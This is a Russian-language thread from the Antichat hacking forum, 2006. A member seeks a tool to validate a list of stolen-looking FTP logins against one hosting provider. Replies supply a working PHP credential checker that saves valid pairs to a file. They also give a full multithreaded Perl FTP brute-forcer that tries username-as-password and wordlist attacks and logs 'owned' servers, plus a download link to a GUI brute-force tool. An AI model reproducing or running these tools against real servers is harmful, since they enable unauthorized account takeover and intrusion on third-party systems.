Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Ищу скрипт для чекалки фтп на правильность логина и пасса. |
25.11.2006, 06:28
|
|
Постоянный
Регистрация: 24.10.2005
Сообщений: 343
Провел на форуме:
3175190
Репутация:
134
|
|
Ищу скрипт для чекалки фтп на правильность логина и пасса.
Нужен скрипт или прога для чека фтп на правильность логина и пасса.
Чекаться будет один хостер.
Допустим если взять тотал коммандер, то в поле
Имя сервера, будет писацца domain.somehost.com
В поле учетная запись та-же переменная, что и domain, и пароль ( с паролем понятно =))
Может есть такие скрипты, а может кто и возьмётся?
Да, совсем забыл =)
Я буду чекать уже готовый файл с логинами и пассами.
Он будет представлен в формате txt в виде
1;login;pass
2;login;pass
3;login;pass
Последний раз редактировалось Гаврила; 25.11.2006 в 06:32..
|
|
|
25.11.2006, 06:31
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
Тоесть брут?
|
|
|
|
25.11.2006, 06:32
|
|
Banned
Регистрация: 06.06.2006
Сообщений: 944
Провел на форуме:
3986705
Репутация:
1403
|
|
BrutusAE2
|
|
|
|
25.11.2006, 09:24
|
|
Постоянный
Регистрация: 24.10.2005
Сообщений: 343
Провел на форуме:
3175190
Репутация:
134
|
|
BrutusAE2 не сможет это сделать.
|
|
|
|
25.11.2006, 09:30
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136
Репутация:
4536
|
|
PHP код:
<?php
set_time_limit(0);
$logins = "ftp";
$ftp = file($logins);
for($i=0;$i<count($ftp);$i++){
$check = explode(";", $ftp[$i]);
$link = ftp_connect($check[0], '21', '15'); //21 - порт, 15 - время ожидания в секундах.
if(ftp_login($link, $check[1], $check[2])){
$fp = fopen ("good", "a+");
fwrite ($fp, $check[0].":".$check[1].":".$check[2]."\n");
fclose ($fp);
}
}
?>
это? |
|
|
|
25.11.2006, 10:02
|
|
Постоянный
Регистрация: 24.10.2005
Сообщений: 343
Провел на форуме:
3175190
Репутация:
134
|
|
А куда в нём пихать somehost.com ?
|
|
|
|
25.11.2006, 10:08
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136
Репутация:
4536
|
|
в данном случае: somehost.com;login;pass в файле ftp
|
|
|
|
25.11.2006, 10:17
|
|
Постоянный
Регистрация: 24.10.2005
Сообщений: 343
Провел на форуме:
3175190
Репутация:
134
|
|
Так немного не удобно будет в моём случае.
Мне важно чтоб файле good после проверки записывалось так:
1;login;pass
5;login;pass
3333;login;pass
и т.д.
Порядковый номер мне тоже важен.
Т.е. я могу скормить скрипту только в таком формате.
|
|
|
|
25.11.2006, 17:09
|
|
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206
Репутация:
963
|
|
PHP код:
#!perl -w
use strict;
use Net::FTP;
use threads;
print "\n# $0\n# (C)oded by .:[KSURi]:.\n";
print "Enable OneSiteMode? [0/1] ";
my $answer=<STDIN>;
chomp($answer);
if($answer==1)
{
$SIG{INT}=sub { print "\n[i] \$SIG{INT} hooked!"; exit(0); };
my $oneSiteMode=<STDIN>,my $oneSiteUser=<STDIN>,my $wordlist=<STDIN>;
print "\n[i] Bruting ".$oneSiteMode." ...\n";
oneSiteBrute($oneSiteMode,$oneSiteUser,$wordlist);
exit(0);
}
my $in="sites.txt";
my $out="owned.txt";
my $sign="sign.dat";
my $timeout=20;
my $i=0;
my @threads=();
open(IN,$in) or exit print "\n[-] Cannot open $in\n";
my @sites=<IN>;
close IN;
open(SIGN,">>$sign");
$SIG{INT}=sub
{
undef @threads;
print "\n[i] ".$i." FTP servers owned\n";
exit(0);
};
for(my $thrCtr=0;$thrCtr<=$#sites;$thrCtr++)
{
if($thrCtr==int($#sites/4)||$thrCtr==int($#sites/3)||$thrCtr==int($#sites/2))
{
print "\n\n[~] No new new threads for ".$timeout." secs\n";
sleep($timeout);
print "\n[~] Starting new threads\n\n";
}
$threads[$thrCtr]=threads->new(\&try,$sites[$thrCtr]);
$threads[$thrCtr]->detach();
}
while(-s $sign!=$#threads) { sleep(1) }
close SIGN;
unlink $sign;
undef @threads;
sub try
{
my $site=shift;
chomp($site);
print $site."... ";
if(my $conn=Net::FTP->new($site, Debug=>0))
{
my($string,undef)=split('\.',$site);
if($conn->login($string,$string))
{
open(OUT,">>$out") or print "OK (Not logged)\n";
print OUT $site."\:".$string."\:".$string."\n";
close OUT;
print "OK\n";
$i++;
undef $conn;
}
elsif($conn->login(reverse($string),reverse($string)))
{
open(OUT,">>$out") or print "OK (Not logged)\n";
print OUT $site."\:".$string."\:".$string."\n";
close OUT;
print "OK\n";
$i++;
undef $conn;
}
else
{
print "FAILED\n";
undef $conn;
}
}
else
{
print "FAILED\n";
undef $conn;
}
print SIGN "x";
}
sub oneSiteBrute
{
my($site,$user,$wordlist)=@_;
open(WORDS,$wordlist) or exit print "\n[-] Cannot open wordlist [".$wordlist."]\n";
while(<WORDS>)
{
my $conn=Net::FTP->new($site,Debug=>0) or exit print "\n[-] Cannot connect to".$site."\n";# if(!$conn);
if($conn->login($user,chomp($_)))
{
print "\n[+] PASSWORD FOUND: ".$_."\n";
}
}
close WORDS;
}
# ftp_bruter v2.5.pl
# (C)oded by .:[KSURi]:.
Вот мой старый сорец - пользуйся. Только советую его подредактировать тк код не рационален( |
|
|
|
25.11.2006, 20:49
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091
Репутация:
1686
|
|
http://gfs-team.ru/downloads/FTP-BruteForce.rar
во тож брутер но уже не скрипт а с гуи интерфейсам
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
